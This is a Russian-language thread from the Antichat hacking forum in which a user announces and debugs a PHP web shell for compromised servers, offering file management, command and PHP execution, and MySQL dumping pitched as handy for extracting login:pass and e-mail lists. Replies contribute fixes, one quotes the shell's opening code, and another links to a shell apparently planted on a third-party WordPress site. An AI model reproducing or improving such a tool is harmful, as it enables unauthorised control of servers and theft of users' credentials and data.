Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   dx ajax text shell (https://forum.antichat.xyz/showthread.php?t=96416)

d_x 14.12.2008 20:40

dx ajax text shell
 
Вложений: 1
DX Ajax Text Shell 2.0 beta

Решил сделать веб-шелл с использованием AJAX.

Доработал 1.0, сейчас готова версия 2.0 (пока что beta), вот её описание:
Возможности:
  • AJAX, UTF-8
  • Все запросы методом POST
  • Файловый менеджер: серфинг по папкам, просмотр дат изменения и прав для файлов и папок, удаление, перемещение, копирование, переименовывание, chmod, touch
  • Скачивание файлов (<2.0> - поддержка скачивания больших файлов)
  • Редактирование и сохранение файлов в utf-8 и windows-1251
  • Подробная информация о системе
  • Выполнение php-кода
  • Выполнение команд cmd множеством способов (<2.0> - улучшен вывод результатов, поддержка кириллицы)
  • <2.0> Защита паролем
  • <2.0> MySQL - выполнение команд, удобный менеджер команд
  • <2.0> MySQL дампинг - дамп таблиц или целых БД, поддержка больших объёмов данных, дамп результатов запросов MySQL
    Если set_time_limit будет недоступно, дамп всё равно возможен по частям.
    Теперь очень удобно сдампить в виде файла, например, список login:pass или список e-mail'ов из какой-нибудь таблицы.
  • <2.0> Дамп MySQL-таблиц производится без создания каких-либо файлов на сервере - всё напрямую направляется в браузер.
  • <2.0> Быстрое удаление скрипта
  • <2.0> Поправлены различные ошибки

Удобство в том, что можно работать с файлами, php, cmd и пр. независимо друг от друга, то есть примерно так - полистать файлы, выполнить пхп-код, вернуться к файлам, в это время результат выполнения php-кода не стирается, и к нему можно всегда вернуться.

c411k 14.12.2008 21:08

не пашет. локахлост-вынь.

зы. да и кто его юзать будет? если бы р57 под аякс заделать, то гуд..

d_x 14.12.2008 21:10

Пашет, проверял на удалённых серверах и на локалхосте тоже. Просто шелл если редактировать, то нужно сохранять в UTF-8 без BOM.

xcedz 14.12.2008 21:12

хз. у меня пашет. на локал хосте. вынь

Chaak 14.12.2008 21:19

Все круто. Хотел бы видеть sypex или любой другой быстрый дампер mysql

[Raz0r] 16.12.2008 00:33

На локалхосте под виндой не работало - все дело в обратных слэшах, которые используются в путях и впоследствии попадают в js-код без экранирования, поэтому в начале кода нужно заменить вот на это:
PHP код:

$sdir=addslashes($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['SCRIPT_NAME'])); 

В Firefox iframe, который выполняет checkUpFiles(), перегораживает часть экрана с директориями (почему-то видимый), поэтому нужно заменить на это (1084 строка)
Код HTML:

<iframe id="upiframe" name="upiframe" style="display:none;width:0;height:0" onload="checkUpFiles();"></iframe>
И ко всему прочему баги с кодировкой:
�?мя Права Размер �?зменён

r57shell с AJAX хорошая идея имхо

ShAnKaR 16.12.2008 01:37

нахожусь в /var/www/html тыкаю все время вверх до хожу до /var тыкаю - переходит опять в /var/www/html, пишу перейти в / - пишет директория не существует

d_x 16.12.2008 02:06

Спасибо всем за замечания, постараюсь всё исправить, хотя я не понимаю, отчего могут возникнуть такие проблемы, как:
-видимый фрейм в ФФ (сам тестил, у меня всё отлично, версия 3)
-проблемы с кодировкой (опять-таки всё проверял, но ещё посмотрю, отчего такое может быть)

ShAnKaR, такая ошибка действительно есть, поправлю.

[Raz0r], если не сложно, напиши, где ещё баги с кодировкой наблюдаются у тебя, и только в ФФ, или в других браузерах тоже?

[Raz0r] 16.12.2008 12:28

Баги в Firefox 3.0.4, Opera 9.62, IE7. В файл менеджере первые буквы Имя и Изменен, а также в слове Информация во вкладках Система и MySQL

d_x 16.12.2008 14:15

Не представляю, почему такие ошибки возникают, у меня во всех браузерах всё нормально. Причём, как я понял, только буква "И" искажается) Может быть, проблема в сервере и утф-8?.. Что, если просто создать текстовый файл в утф-8 без BOM и записать туда букву "И", а потом получить его с помощью сервера?:)

d_x 18.12.2008 22:30

Доработал версию 1.0, добавил функционал, поправил найденные ошибки.
Обновил первый пост, подробное описание и файл для скачивания там.

[Raz0r] 18.12.2008 23:18

@d_x
тестить нужно не только на IE ;)
Кстати ошибок с кодировкой больше нет, спасибо

d_x 19.12.2008 00:16

Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё.

ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)

GreenBear 19.12.2008 17:12

а ты попробуй упросить ее до strtolower на русских буквах

Chaak 19.12.2008 17:19

Это:
PHP код:

<?php
$text 
'ЭтО СтРоКа';
echo 
strtolower($text);
?>

И это:
PHP код:

<?php
$text 
'ЭтО СтРоКа';
echo 
iconv('windows-1251','utf-8',strtolower($text));
?>

Результат:
Цитата:

это строка
Видео: http://webfile.ru/2491722

[Raz0r] 19.12.2008 17:30

Цитата:

Опера всегда отличалась нестандартностью
в FireFox 3.0.4 тоже не работает как надо
Цитата:

ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
мистика =)

насчет strtolower() в доках сказано:
Цитата:

Returns string with all alphabetic characters converted to lowercase.
Note that 'alphabetic' is determined by the current locale.

Kaimi 19.12.2008 18:00

Цитата:

setlocale(LC_ALL,"Russian");
Давай пример полного кода, который по-твоему переведет строку на русском в нижний регистр используя strtolower на любом сервере

Kaimi 19.12.2008 18:14

http://www.topmanshoes.com/wp-admin/1.php

Неа

Вот шелл, можешь посмотреть содержимое файла
http://www.topmanshoes.com/wp-admin/wp-rss.php

[Raz0r] 19.12.2008 18:31

Русской локали на многих серверах может и не оказаться. Проверить можно так:
locale -a | grep 'ru'
Вообще нужно вот так:
PHP код:

setlocale(LC_ALL'ru_RU.CP1251'); 

echo 
strtoupper('Работает!'); 

С koi8-r наоборот почему-то получается: strtoupper() переводит в нижний регистр, а strtolower() в верхний

d_x 19.12.2008 18:57

На разных системах локали называются по-разному. Я знаю про setlocale, но именно поэтому её и не использовал.

P.S. Кривое отображение в некоторых браузерах поправил, обновил первый пост.

P.S.2. Если эта тема похожа на паблик, пусть модераторы её туда перекинут. Чем больше ошибок найдут в скрипте, тем больше я их исправлю и тем лучше он в итоге станет)

d_x 21.12.2008 00:01

Попросил перенести тему в общий раздел, чтобы быстрее найти ошибки, если они ещё есть.

astrologer 21.12.2008 02:16

Цитата:

Сообщение от d_x
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё.

Код:

.header
{
font-size:14;
font-weight:bold;
}

fieldset
{
  width: 0px; /* =/ */
}

P.S.
---
Насчёт strtolower_ru - есть strtr() и mb_strtolower();

d_x 21.12.2008 02:34

Хм, точно, у меня не тот файл был залит почему-то, сейчас перезалил. Я просто указал фиксированную ширину fieldset'а, чтобы хаки не использовать.

А про strtr забыл, завтра переделаю.

VDShark 22.12.2008 01:20

Цитата:

Сообщение от d_x
Опера всегда отличалась нестандартностью

Кхм... стесняюсь спросить - в каком месте? :)

Helios 22.12.2008 01:29

Цитата:

Опера всегда отличалась нестандартностью
Бред сивой кобылы. Опера всегда тем и отличалась, что соответствовала стандартам больше всех остальных. Спроси любого верстальщика, он тебе это же скажет.
После появления webkit'а и иже с ним (safari 3, Chrome) первенство в соответсятвии стандартам держат опера и webkit, мб оттого, что вебкит опенсурсный зверь и кодерами именно для этих целей допиливается.
А вот ФФ, как не прискорбно все дальше уходит в степь IE. Его поведение в какой-то конкретный момент угадать трудно.

// зы: ссори за оффтоп

d_x 22.12.2008 01:44

Давайте не будем разводить старый срач, какой браузер лучше, и уж тем более не надо оскорблений. В любом случае всё, что я пишу, моё личное мнение и других никоим образом не затрагивает. Это лично мне так показалось. Считайте, что я это написал для себя, чтобы не забыть поправить код. Скрипты я тестирую на трёх браузерах - ие, фф и опера - и они будут там работать, я же не говорю, что "не буду делать под какой-то браузер, он мне не нравится".

world-hacker 21.01.2009 03:59

Спс огромное! Шел очень сильно помог, было бы неплохо добавить перемещение - ввел адресс к примеру / и переместился в корневую дерикторию.

ReduKToR 21.01.2009 09:06

Цитата:

<?php
@set_time_limit(0);
@ini_set('max_execution_time',0);

$ver='2.0 beta';

$auth=true; //включить ли защиту паролем
$username=md5('admin'); //логин
$userpass=md5('admin'); //пасс

if($auth)
{
if(!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$username || md5($_SERVER['PHP_AUTH_PW'])!==$userpass)
{
header('WWW-Authenticate: Basic realm="ATS"');
header('HTTP/1.0 401 Unauthorized');
die('Access denied');
}
}


if(isset($_POST['delscript']))
{
if(@unlink(__FILE__))
ajax_die("alert('РЎРєСЂРёРїС‚ СѓСЃРїРµС?РЅРѕ удалён.');");
else
ajax_die("alert('Не удалось удалить скрипт.');");
ппц,пробывал ставыить разные кодировки,всёравно

baddan 12.03.2009 16:14

Цитата:

Сообщение от ReduKToR
ппц,пробывал ставыить разные кодировки,всёравно

utf-8 обычный, открой в виндовом notepad и все увидиш

или far 2.0 поставь.

Хороший шел, мне понравилось.

Добавте возможность:
гденибудь рядом с папкой кноповку создать архив. средствами пхп можно gz жать без проблем.

а то набирать tar -cf && bzip2 -9 часто бывает не возможным :)


и по цветам.. сделайте фон черным а то работать за таким даже пол часа тяжеловато.

Dr.Gonzo 15.05.2009 16:10

Почему-то на некоторых хостингах нормально идет, а на некоторых вместо текста показывает:
Файлы | Система | Выполнить PHP
Иногда вообще не грузится,
тогда если убрать авторизацию будет грузиться но опять же с иероглифами и ошибкой:
пишет что-то типа Headers already sent....
Видать что-то с кодировкой, не могу понять что

Sharky 15.05.2009 16:28

utf-8 BOM а да пребудет с вами сила скрытая


Время: 09:18